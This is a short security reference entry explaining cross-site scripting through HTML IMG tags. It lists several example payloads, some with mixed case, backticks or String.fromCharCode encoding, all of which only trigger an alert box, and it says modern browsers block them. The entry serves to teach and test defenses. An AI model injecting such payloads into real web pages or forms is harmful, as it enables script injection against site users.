Description
It is possible for an attacker to execute JavaScript via HTML IMG tags. This is also referred to as XSS (Cross-Site Scripting). However, this type of attack is no longer possible on modern browsers.
Examples
The following are methods an attacker can use in order to execute Javascript but will not be effective against modern browsers.
<IMG SRC="javascript:alert('Vulnerable');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG
SRC=javascript:alert('XSS')>
